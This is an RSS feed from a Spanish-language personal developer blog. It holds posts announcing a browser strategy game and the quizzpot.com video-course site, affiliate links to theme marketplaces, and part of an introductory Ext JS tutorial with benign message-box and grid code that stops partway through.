<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Crysfel's Blog</title>
	
	<link>http://www.crysfel.com</link>
	<description>The human knowledge belongs to the world</description>
	<pubDate>Thu, 23 Apr 2009 18:09:14 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/crysfel" type="application/rss+xml" /><item>
		<title>Nuevo proyecto!</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/3euOYjhlEVE/</link>
		<comments>http://www.crysfel.com/index.php/2009/04/20/nuevo-proyecto/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 16:42:08 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/?p=79</guid>
		<description><![CDATA[Pues estoy iniciando un nuevo proyecto que espero sea un éxito  estoy comenzando a realizar un juego online del tipo &#8220;Age of Empires II&#8221; la idea es que el jugador puede crear una civilización con varias ciudades, crear un ejercito grande y poder conquistar a otros jugadores, todo esto será en tiempo real algo [...]]]></description>
			<content:encoded><![CDATA[<p>Pues estoy iniciando un nuevo proyecto que espero sea un éxito <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> estoy comenzando a realizar un juego online del tipo &#8220;Age of Empires II&#8221; la idea es que el jugador puede crear una civilización con varias ciudades, crear un ejercito grande y poder conquistar a otros jugadores, todo esto será en tiempo real algo así como el juego de &#8220;<a href="http://travian.com">Travian</a>&#8221; en cuanto a tiempo se refiere, el juego además contará con logros, algunos torneos, y muchas mas ideas que tengo en mente.</p>
<p>La verdad es que es divertido trabajar en algo que realmente me agrada, mucho mas divertido que andar haciendo reportes o catálogos jejejejeje&#8230;. actualmente estoy comenzando la parte donde el jugador pordrá crear su ciudad, posicionar sus edificios por toda la pantalla.</p>
<p>Estoy abierto a escuchar ideas, si alguno de los lectores se interesa en darme alguna idea o sugerencia, será mas que bienvenida, en cuanto tenga la primera versión pondré una beta para que puedan probar el juego.</p>
<p>El tiempo de desarrollo no lo he definido aún, puesto que tengo muchas actividades y trabajo que me consume la mayor parte del tiempo (<a href="http://www.quizzpot.com">quizzpot</a> por ejemplo <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> ) pero si voy a trabajar lo mas rápido posible.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2009/04/20/nuevo-proyecto/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2009/04/20/nuevo-proyecto/</feedburner:origLink></item>
		<item>
		<title>Templates y recursos para nuestros desarrollos</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/sAJAyk04Xp8/</link>
		<comments>http://www.crysfel.com/index.php/2009/02/23/templates-y-recursos-para-nuestros-desarrollos/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 00:09:10 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/?p=73</guid>
		<description><![CDATA[Hace dos semanas exactamente que liberé el proyecto de quizzpot.com y la verdad es que ha tenido una muy buena aceptación, algunas personas me han comentado que el diseño del sitio esta muy bien y me han preguntado que si yo lo hice; la verdad es que yo no soy diseñador y honestamente no se [...]]]></description>
			<content:encoded><![CDATA[<p>Hace dos semanas exactamente que liberé el proyecto de <a href="http://www.quizzpot.com">quizzpot.com</a> y la verdad es que ha tenido una muy buena aceptación, algunas personas me han comentado que el diseño del sitio esta muy bien y me han preguntado que si yo lo hice; la verdad es que yo no soy diseñador y honestamente no se me da mucho el diseño gráfico aunque me gusta pero no soy muy hábil, el diseño del sitio lo he comprado en <a href="http://themeforest.net?ref=stock">themeforest.net</a>.</p>
<p>Theme Forest es un lugar donde puedes comprar templates a un precio muy accesible y de muy buena calidad, asi que se los recomiendo ampliamente, si me quieres ayudar a continuar impartiendo el curso que estoy dando en quizzpot lo puedes hacer registrando en <a href="http://themeforest.net?ref=stock">themeforest.net</a>, ellos me darán un pequeña comisión de tu primer deposito <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>En este sitio he comprado algunos templates realmente buenos</p>
<p><a href="http://themeforest.net?ref=stock"><img src="http://www.crysfel.com/wp-content/uploads/2009/02/tf_468x60.jpg" /></a></p>
<p>En este otro sitio he comprado el audio del intro de los video que se imparten en quizzpot.</p>
<p><a href="http://audiojungle.net?ref=stock"><img src="http://www.crysfel.com/wp-content/uploads/2009/02/468x60_aj.jpg" /></a></p>
<p>En este sitio quiero comprar una animación en flash para ponersela al intro de los tutoriales en quizzpot, tienen una gran variedad de animaciones y efectos.</p>
<p><a href="http://flashden.net?ref=stock"><img src="http://www.crysfel.com/wp-content/uploads/2009/02/468x60_fd.jpg" /></a></p>
<p>O bien comprar un video ya hecho, realmente no lo he decidido.</p>
<p><a href="http://videohive.net?ref=stock"><img src="http://www.crysfel.com/wp-content/uploads/2009/02/vh_468x60.jpg" /></a></p>
<p>En este otro sitio puedes comprar PSDs, Texturas y demas recursos para diseñadores.</p>
<p><a href="http://graphicriver.net?ref=stock"><img src="http://www.crysfel.com/wp-content/uploads/2009/02/gr_468x60.jpg" /></a></p>
<p>Pues bien ya lo saben, la próxima vez que inicien algún proyecto web pueden ir a estos sitios a comprar buenos recursos, recuerden utilizar el siguiente link <a href="http://themeforest.net?ref=stock">http://themeforest.net?ref=stock</a>, de esta forma me ayudarán a comprar las animaciones que me hacen falta <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>saludos</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2009/02/23/templates-y-recursos-para-nuestros-desarrollos/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2009/02/23/templates-y-recursos-para-nuestros-desarrollos/</feedburner:origLink></item>
		<item>
		<title>Proyecto terminado</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/3SRoJvm2jno/</link>
		<comments>http://www.crysfel.com/index.php/2009/02/10/proyecto-terminado/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 22:03:56 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/?p=72</guid>
		<description><![CDATA[Esta listo el proyecto del que les había hablado anteriormente, pueden visitarlo en:
http://www.quizzpot.com/
Quizzpot es el nombre del proyecto, una escuela online donde se imparten cursos de herramientas para el desarrollo web/software mediante video y además es totalmente gratuito!
Actualmente estoy impartiendo el curso de Ext Js, hay un Quizz (Exámen) para probar tus conocimiento, y he [...]]]></description>
			<content:encoded><![CDATA[<p>Esta listo el proyecto del que les había <a href="http://www.crysfel.com/index.php/2009/01/15/preparando-curso/">hablado anteriormente</a>, pueden visitarlo en:</p>
<p><a href="http://www.quizzpot.com/">http://www.quizzpot.com/</a></p>
<p>Quizzpot es el nombre del proyecto, una escuela online donde se imparten cursos de herramientas para el desarrollo web/software mediante video y además es totalmente gratuito!</p>
<p>Actualmente estoy impartiendo el curso de Ext Js, hay un Quizz (Exámen) para probar tus conocimiento, y he subido los primeros 2 temas del curso, el objetivo es completar el curso en 4 meses apartir de hoy <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Realmente que estoy muy contento con este nuevo lanzamiento y espero que puedan visitar el sitio.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2009/02/10/proyecto-terminado/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2009/02/10/proyecto-terminado/</feedburner:origLink></item>
		<item>
		<title>Preparando curso</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/VzVcwuiokFQ/</link>
		<comments>http://www.crysfel.com/index.php/2009/01/15/preparando-curso/#comments</comments>
		<pubDate>Thu, 15 Jan 2009 17:24:29 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/?p=71</guid>
		<description><![CDATA[Hola a todos los lectores de este blog, hoy quiero comentarles a cerca del nuevo proyecto que estoy realizando  
Apartir del último post en este blog, me surgió la idea de iniciar un sitio donde sea especializado en cursos impartidos mediante video de forma gratuita, la idea es realizar un temario, lo mejor estructurado [...]]]></description>
			<content:encoded><![CDATA[<p>Hola a todos los lectores de este blog, hoy quiero comentarles a cerca del nuevo proyecto que estoy realizando <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Apartir del <a href="http://www.crysfel.com/index.php/2008/11/26/combos-dependientes-con-ext-js/">último post</a> en este blog, me surgió la idea de iniciar un sitio donde sea especializado en cursos impartidos mediante video de forma gratuita, la idea es realizar un temario, lo mejor estructurado posible, exponiendo desde los temas mas sencillos hasta temas mas complejos, al final del curso realizar un examen de avaluación personal.</p>
<p>Actualmente tengo ya listo el temario del primer curso, este será impartido por mi, el curso será sobre Ext Js, lo cual me parece un excelente curso para iniciar con este proyecto, he comenzado a realizar los primeros temas, es por eso que no he podido darle seguimiento a los videotutoriales en este blog, pero ahora en este nuevo sitio del cual les estoy hablando no solo serán tutoriales, será un curso completo con ejercicios y examenes de evaluación <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Agradesco a todos los lectores que me siguen en este blog y espero que para el mes de febrero puedan visitarme en este nuevo proyecto.</p>
<p>saludos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2009/01/15/preparando-curso/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2009/01/15/preparando-curso/</feedburner:origLink></item>
		<item>
		<title>Combos dependientes con Ext JS</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/-EsCJQTKqWE/</link>
		<comments>http://www.crysfel.com/index.php/2008/11/26/combos-dependientes-con-ext-js/#comments</comments>
		<pubDate>Wed, 26 Nov 2008 16:52:37 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Ajax]]></category>

		<category><![CDATA[Desarrollo]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Screencast]]></category>

		<category><![CDATA[Tutoriales]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/?p=69</guid>
		<description><![CDATA[El día de hoy pongo el primer screencast o videotutorial en mi blog, lo que explico es como crear unos combos dependientes por medio de Ext Js.
Puedes ver el demo del tutorial aqui o descarga el código fuentes desde aqui.


Éste screencast es el primero de muchos mas, la idea es que de aquí en adelante [...]]]></description>
			<content:encoded><![CDATA[<p>El día de hoy pongo el primer screencast o videotutorial en mi blog, lo que explico es como crear unos combos dependientes por medio de Ext Js.</p>
<p>Puedes ver el <a href="http://www.crysfel.com/demos/combosDependientes/">demo del tutorial aqui</a> o <a href="http://www.crysfel.com/wp-content/uploads/2008/11/combos.zip">descarga el código fuentes desde aqui</a>.</p>
<p><object width="504" height="380"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=2350142&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=2350142&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="504" height="380"></embed></object></p>
<p><span id="more-69"></span><br />
Éste screencast es el primero de muchos mas, la idea es que de aquí en adelante todos los tutoriales sean en video, creo que es mas sencillo verlo que leerlo, cualquier duda o comentario con respecto al tutorial pueden hacerlo en los comentarios.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/11/26/combos-dependientes-con-ext-js/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/11/26/combos-dependientes-con-ext-js/</feedburner:origLink></item>
		<item>
		<title>Nuevo sitio</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/tBnZ6MJPaK0/</link>
		<comments>http://www.crysfel.com/index.php/2008/11/04/nuevo-sitio/#comments</comments>
		<pubDate>Tue, 04 Nov 2008 17:15:46 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/?p=68</guid>
		<description><![CDATA[La semana pasada publiqué un sitio web mas, el cual estaré administrando, no escribiré artículos allá pues el tiempo que me queda es casi nulo, pero si estaré detrás de las personas que lo harán.
La página es de la Iglesia a la cual asisto, asi que estan invitados a visitarla y participar, la dirección es:
http://www.nuevorepueblo.com/
Saludos
]]></description>
			<content:encoded><![CDATA[<p>La semana pasada publiqué un sitio web mas, el cual estaré administrando, no escribiré artículos allá pues el tiempo que me queda es casi nulo, pero si estaré detrás de las personas que lo harán.</p>
<p>La página es de la Iglesia a la cual asisto, asi que estan invitados a visitarla y participar, la dirección es:</p>
<p><a href="http://www.nuevorepueblo.com/">http://www.nuevorepueblo.com/</a></p>
<p>Saludos</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/11/04/nuevo-sitio/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/11/04/nuevo-sitio/</feedburner:origLink></item>
		<item>
		<title>Comentarios</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/WDJz1_xvRI4/</link>
		<comments>http://www.crysfel.com/index.php/2008/08/22/comentarios/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 18:43:15 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/?p=66</guid>
		<description><![CDATA[Estos últimos días he recibido varios comentarios de los lectores, gracias a todos ellos, esto anima a seguir escribiendo, y aunque no he tenido tiempo suficiente para terminar el último artículo creo que ahora le pondré mas empeño.
Bueno, seguiré escribiendo mas de Ext Js, ya que es una librería maravillosa, espero que pronto logre terminar [...]]]></description>
			<content:encoded><![CDATA[<p>Estos últimos días he recibido varios comentarios de los lectores, gracias a todos ellos, esto anima a seguir escribiendo, y aunque no he tenido tiempo suficiente para terminar el último artículo creo que ahora le pondré mas empeño.</p>
<p>Bueno, seguiré escribiendo mas de Ext Js, ya que es una librería maravillosa, espero que pronto logre terminar el artículo siguiente, pues hace meses que lo comencé y no lo he podido continuar, a todos los lectores gracias y sigan mandando sus comentarios.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/08/22/comentarios/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/08/22/comentarios/</feedburner:origLink></item>
		<item>
		<title>Introducción a Ext Js</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/v5OUnGSpqxA/</link>
		<comments>http://www.crysfel.com/index.php/2008/03/24/introduccion-a-ext-js/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 23:25:30 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Desarrollo]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Tutoriales]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/03/24/introduccion-a-ext-js/</guid>
		<description><![CDATA[En el último proyecto en el cual he trabajado, he utilizado un framework javascript que vale la pena hablar de él en este blog, y se trata de Ext Js, una excelente librería para crear interfaces de usuario, Ext nos facilita mucho el trabajo a los desarrolladores, pues en unas cuantas líneas de javascript podemos [...]]]></description>
			<content:encoded><![CDATA[<p>En el último proyecto en el cual he trabajado, he utilizado un framework javascript que vale la pena hablar de él en este blog, y se trata de Ext Js, una excelente librería para crear interfaces de usuario, Ext nos facilita mucho el trabajo a los desarrolladores, pues en unas cuantas líneas de javascript podemos hacer interfaces realmente buenas.</p>
<p>En este artículo quiero mostrar como hacer mensajes, tablas y ventanas, con esto pretendo dar una introducción a esta fantástica librería y así mostrar la facilidad en el desarrollo de software.</p>
<div style="text-align:center"><img src="http://www.crysfel.com/wp-content/uploads/2008/03/extjs.png" title="Ext Js Introduccion" /></div>
<p><span id="more-63"></span></p>
<p>Primeramente es necesario mencionar que Ext Js originalmente surgió como una extensión de la librería de Yahoo, con esto me refiero a que Ext Js nos da funcionalidad de más alto nivel, el manejo del DOM, AJAX y funcionalidades básicas son hechas por la librería YUI, pues Ext Js se enfoca en componentes o widgets. </p>
<p>Al ser diseñada desde un principio como una extensión montada sobre YUI, ahora es posible utilizarlas con otras librerías como JQuery o  Prototype.  Solo es necesario utilizar el “adapter” adecuado, y Ext JS utilizará la librería que uno necesite o conozca mejor para realizar las operaciones de bajo nivel, como manejo de eventos, consultas al DOM, manejo del CSS y todo lo que es posible hacer con tu librería favorita. </p>
<p>Una vez que tenemos una idea general de lo que se trata Ext Js, el siguiente paso es <a href="http://extjs.com/download">descargar la última versión</a> liberada, para poder continuar con esta introducción.</p>
<p>Una vez descargado, es necesario importar al documento tu librería favorita, el adapter correspondiente y el archivo “Ext-all.js”, estas son las posibles combinaciones que puede hacer, y el orden en que deben estar:</p>
<p>Utilizando Ext en modo Stand-alone, al decir stand alone significa que Ext Js utilizará su propia librería, que se llama Ext base, la cual contiene todo lo necesario para manejo de Dom, Ajax, animaciones, etc.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
ext-base.js<br />
ext-all.js (o los componentes que necesites)</p>
<p>Utilizando Yahoo! UI (.12+)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
yui-utilities.js<br />
ext-yui-adapter.js<br />
ext-all.js (o los componentes que necesites)</p>
<p>Utilizando jQuery (1.1+), jQuery es una de las librerías mas populares dentro de los desarrolladores, es por eso que Ext js ha creado un adapter para que podamos utilizar esta librería, los archivos a importar son los siguientes:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
jquery.js<br />
ext-jquery-adapter.js<br />
ext-all.js (o los componentes que necesites)</p>
<p>Utilizando Prototype (1.5+) / Scriptaculous (1.7+), prototype fué uno de los primeros frameworks javascript, es muy popular y me atreveria a decir que la mas utilizada entre desarrolladores.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
prototype.js<br />
scriptaculous.js?load=effects  (o cualquier cosa que necesites cargar de scriptaculous)<br />
ext-prototype-adapter.js<br />
ext-all.js (o los componentes que necesites)</p>
<p>En este tutorial se explica en modo “stand-alone”, esto por que mi librería favorita no esta soportada por Ext Js <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> (Mootools, que por cierto, hay un adapter de terceros para la versión Ext 1.1), por lo tanto se incluye al documento “adapter/ext/ext-base.js” y “ext-all.js”, para esto crea un carpeta en tu disco duro (donde quieras), copia los archivos anteriores a esta nueva carpeta, y además copia la carpeta “resources”, pues en esta se encuentran las imágenes y hojas de estilo necesarias para los componentes, además es necesario importar “ext-all.css”, crear el archivo HTML donde se trabajará, una buena practica es separar el HTML del javascript, entonces creamos el archivo “introduccion.js” donde se escribirá todo el javascript de este tutorial, los imports deben quedar así:</p>
<div class="codecolorer-container html"><div class="codecolorer" style="font-family: monospace;"><span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;ext-base.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;ext-all.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;introduccion.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<br />
<span class="sc2"><span class="kw2">&lt;link</span> <span class="kw3">rel</span>=<span class="st0">&quot;stylesheet&quot;</span> <span class="kw3">type</span>=<span class="st0">&quot;text/css&quot;</span> <span class="kw3">href</span>=<span class="st0">&quot;resources/css/ext-all.css&quot;</span><span class="kw2">&gt;</span></span></div></div>
<p>En el archive introduccion.js colocar el siguiente código:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">Ext.<span class="me1">onReady</span><span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">&quot;Felicidades!&nbsp; Has configurado Ext correctamente!&quot;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Este mensaje tiene que aparecer si todo esta configurado correctamente, además de que se ejecutara cuando el DOM este listo para ser utilizado.</p>
<p><strong>Mensajes</strong><br />
Lo primero que mostraré es la forma de mandar mensajes al usuario, como alertas, confirmaciones, errores, etc. Lo que se hará ahora es cambiar el archivo introducción.js por lo siguiente:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">Ext.<span class="me1">onReady</span><span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<br />
&nbsp; &nbsp; Ext.<span class="me1">Msg</span>.<span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">'Bienvenido'</span>,<span class="st0">'Felicidades!&nbsp; Has configurado Ext correctamente!'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Al hacer esto, se esta mandando un alert al usuario, pero con la interfaz de Ext, como puedes ver es algo muy sencillo y se ve muy bien, ahora voy a mostrar un método con más opciones de configuración para mandar mensajes y tener control sobre los botones que ha presionado el usuario.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">Ext.<span class="me1">onReady</span><span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<br />
&nbsp; &nbsp; Ext.<span class="me1">Msg</span>.<span class="me1">show</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp;&nbsp; &nbsp; title:<span class="st0">'Bienvenido'</span>,<br />
&nbsp; &nbsp;&nbsp; &nbsp; msg: <span class="st0">'Felicidades!&nbsp; Has configurado Ext correctamente! ¿estas emocionado?'</span>,<br />
&nbsp; &nbsp;&nbsp; &nbsp; buttons: Ext.<span class="me1">Msg</span>.<span class="me1">YESNOCANCEL</span>,<br />
&nbsp; &nbsp;&nbsp; &nbsp; fn: procesarResultado,<br />
&nbsp; &nbsp;&nbsp; &nbsp; icon: Ext.<span class="me1">MessageBox</span>.<span class="me1">QUESTION</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw2">function</span> procesarResultado <span class="br0">&#40;</span>btn<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>btn==<span class="st0">'yes'</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ext.<span class="me1">Msg</span>.<span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">'Resultado'</span>,<span class="st0">'SI estas emocionado!! Excelente!!'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ext.<span class="me1">Msg</span>.<span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">'Resultado'</span>,<span class="st0">'NO estas emocionado!! pues nimodos!!'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Lo más importante a resaltar es notar la diferencia entre la forma de mostrar el mensaje, en el primer ejemplo es el método alert, recibiendo dos parámetros, siendo que en el segundo ejemplo el método show recibe un solo parámetro, el cual es un objeto con propiedades de configuración.</p>
<p>Otro punto importante es que la propiedad fn permite referenciar la función que manejará los eventos del usuario, cuando de clic en algún botón, la función que se ha especificado aquí será disparada, te recomiendo comiences a jugar un poco cambiando algunas opciones, puede encontrar las opciones permitidas en <a href="http://extjs.com/deploy/dev/docs/">el API de Ext Js</a>.</p>
<p><strong>Grids o Tablas</strong><br />
La tabla o grid, es el componente más popular de este framework, ya que es muy sencillo hacer tablas con capacidades realmente buenas.</p>
<p>Primeramente se necesita la información que va a ser desplegada, contenida en un array por cada renglón que se quiere desplegar, en proyectos reales esta información puede venir de una base de datos o de un webservice, para este ejemplo “hardcode”.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> myData = <span class="br0">&#91;</span><br />
&nbsp; &nbsp; <span class="br0">&#91;</span><span class="st0">'Apple'</span>,<span class="nu0">29.89</span>,<span class="nu0">0.24</span>,<span class="nu0">0.81</span>,<span class="st0">'9/1 12:00am'</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#91;</span><span class="st0">'Ext'</span>,<span class="nu0">83.81</span>,<span class="nu0">0.28</span>,<span class="nu0">0.34</span>,<span class="st0">'9/12 12:00am'</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#91;</span><span class="st0">'Google'</span>,<span class="nu0">71.72</span>,<span class="nu0">0.02</span>,<span class="nu0">0.03</span>,<span class="st0">'10/1 12:00am'</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#91;</span><span class="st0">'Microsoft'</span>,<span class="nu0">52.55</span>,<span class="nu0">0.01</span>,<span class="nu0">0.02</span>,<span class="st0">'7/4 12:00am'</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#91;</span><span class="st0">'Yahoo!'</span>,<span class="nu0">29.01</span>,<span class="nu0">0.42</span>,<span class="nu0">1.47</span>,<span class="st0">'5/22 12:00am'</span><span class="br0">&#93;</span><br />
<span class="br0">&#93;</span>;</div></div>
<p>El siguiente paso es crear un lector que pueda interpretar esta información, para poder procesarla en la tabla, existen varios tipos de lectores, para este caso se utiliza el de ArrayReader, pues la información anterior es un array, es muy común utilizar el lector de XML cuando usamos Ajax.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> myReader = <span class="kw2">new</span> Ext.<span class="me1">data</span>.<span class="me1">ArrayReader</span><span class="br0">&#40;</span><span class="br0">&#123;</span><span class="br0">&#125;</span>, <span class="br0">&#91;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><span class="kw3">name</span>: <span class="st0">'company'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><span class="kw3">name</span>: <span class="st0">'price'</span>, type: <span class="st0">'float'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><span class="kw3">name</span>: <span class="st0">'change'</span>, type: <span class="st0">'float'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><span class="kw3">name</span>: <span class="st0">'pctChange'</span>, type: <span class="st0">'float'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><span class="kw3">name</span>: <span class="st0">'lastChange'</span>, type: <span class="st0">'date'</span>, dateFormat: <span class="st0">'n/j h:ia'</span><span class="br0">&#125;</span><br />
